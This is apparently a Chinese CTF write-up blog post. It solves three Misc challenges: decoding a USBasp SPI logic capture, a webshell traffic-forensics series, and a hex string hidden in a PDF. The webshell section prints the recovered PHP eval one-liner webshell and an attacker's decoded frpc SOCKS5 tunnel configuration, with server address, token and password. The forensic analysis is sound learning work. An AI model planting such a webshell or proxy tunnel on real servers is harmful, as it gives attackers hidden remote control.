NSSCTF-Misc刷题记录

文章讲述了在CISCN2019初赛中使用USBasp进行编程器通信的SPI协议分析,以及陇剑杯2021中Webshell系列问题解决,涉及密码破解、URL解码、权限查找、木马检测和代理配置。NISACTF2022中PDF隐藏字符和hex编码的使用技巧揭示了旗标。

1.[CISCN 2019 初赛]usbasp

2.[陇剑杯2021]Webshell系列

3.[NISACTF 2022]bqt

------------------------------------------------分割线------------------------------------------------------------------------

1.[CISCN 2019 初赛]usbasp

首先完善一下知识储备:USBasp是一种通过USB接口与电脑连接的编程器,它的作用是控制微控制器AVR,通过信号线和引脚传输信号,在通信过程中,USBasp属于从设备,而AVR则属于主设备(就是主机),它们之间的通信遵循SPI协议,并且可以被Salae Logic捕捉到

首先,题目给了一个usbasp.logicdata的附件,那我们就可以知道这个文件需要Salae Logic打开,同时因为是USBasp的logicdata,因此我们可以用Salae的Analyzer功能分析USBasp通信中遵循的协议,SPI,最终我们可以在MOSI(主设备输出)中找到flag

2.[陇剑杯2021]Webshell系列

webshell问1:问的是登录密码,找和login有关的包,同时寻找http的post请求,然后追踪http,找到答案

注意要解码其中的URL

webshell问2:说到日志文件,在分组详情里搜索.log,于是乎发现了这个

但是实际上这只是日志文件的相对路径(相对于web服务器存放文件的目录),可以再找找绝对路径,我们在tcp.stream eq 25中可以找到web服务器存放文件的根目录,在这个流中包含了Apache Environment,因此我们可以在其中发现根目录:

拼接起来就是答案

webshell问3:

这个问我有两种理解:1.在问2wp的第一张图中,我们发现黑客输入whoami指令,没有回显,所以有可能是www-data权限 我问的GPT~(doge)

2.再问2wp中,也是在tcp.stream eq 25往上翻,就可以发现User/Group:www-data这个实际上就是权限,所以也可以知道答案

webshell问4:

1.首先黑客得传脚本文件,所以找post请求http.request.method=="POST",然后webshell嘛,可能是php,jsp或者asp,找php,发现1.php,当然,这只是猜测,那为了证实猜测,找到了这个

黑客将一串base64编码解码后写入PHP文件,解码后结果是

<?php eval(base64_decode($_REQUEST[aaa])); ?>

 经典的一句话木马,并且可以通过base64绕开某些敏感词过滤,所以坐实了,这就是webshell,答案出来了,1.php

webshell问5:

这题接着上题的思路,既然有了木马,就可用木马来配置代理工具,所以找1.php。然后找到了这条流量

发现代理工具的配置文件frpc.ini。所以代理工具客户端即为frpc。通过此代理工具客户端,黑客就可以对服务器远程控制

 webshell问6,7:

同样的思路,1.php可以配置frpc,那么就可能包含回连服务端的ip

那么我们继续在流量中找,终于在一个配置文件中找到了一串十六进制字符

解码得到:

[common]
server_addr = 192.168.239.123
server_port = 7778
token= Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port = 8111
plugin = socks5
plugin_passwd = JTn276Gp
use_encryption = true
use_compression = true

服务器的地址知道了,sock5的账号密码也一并出来了

 3.[NISACTF 2022]bqt

首先把无后缀的附件放进010Editor,发现是PDF,然后修改后缀,盲猜是图片后面藏字,直接Ctrl+A,果然发现了一串字符,看起来是可以转字符串的,但是两两的值都大于128,所以试着给两两的hex-128,再转字符串,发现flag,发现的字符串和脚本如下:

c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd
hexstr="c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd"
ls=list(hexstr)
newls=[]
for i in range(0,len(ls),2):
    newstr=ls[i]+ls[i+1]
    newhex=int(newstr,16)-0x80
    flagpart=chr(newhex)
    newls.append(flagpart)
for c in newls:
    print(c,end="")

得到

Hi, Ctfer! The flag is: flag{wefeoidjgoedsfiorpefdfggfdse}

搞定!

写了两节课了……呼 最近刷了蛮多题的……集中整理一下 也许明天继续

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值